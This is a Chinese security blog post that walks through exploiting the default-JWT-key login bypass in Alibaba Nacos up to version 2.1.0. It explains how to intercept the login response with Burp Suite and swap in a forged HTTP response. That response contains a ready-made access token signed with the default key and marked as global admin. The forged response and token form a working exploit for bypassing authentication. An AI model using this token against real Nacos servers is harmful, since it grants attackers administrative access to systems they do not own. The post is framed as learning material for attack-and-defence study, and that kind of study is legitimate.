【实战分享】Alibab Nacos未经授权的登录-网络攻防学习社区-安全圈子-FancyPig's blog

【实战分享】Alibab Nacos未经授权的登录

项目地址

https://github.com/Al1ex/Alibab-Nacos-Unauthorized-Login

脆弱性影响

Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户

漏洞产品

Nacos <= 2.1.0 版本

漏洞复现

第一步:直接进入Nacos官网,任意填写用户名和密码,使用Burpsuite抓包。

 

ad1a1b7183004817

 

Step 2:拦截响应包。

 

ad1a1b7183004833

 

第三步:修改数据包如下

HTTP/1.1 200
Date: Thu, 10 Nov 2022 01:27:16 GMT
Content-Type: application/json
Content-Length: 13
Connection: close
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Server: elb

{"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA","tokenTtl":18000,"globalAdmin":true}

 

ad1a1b7183004856

 

第四步:释放数据包后登录成功。

 

ad1a1b7183004910

 

请登录后发表评论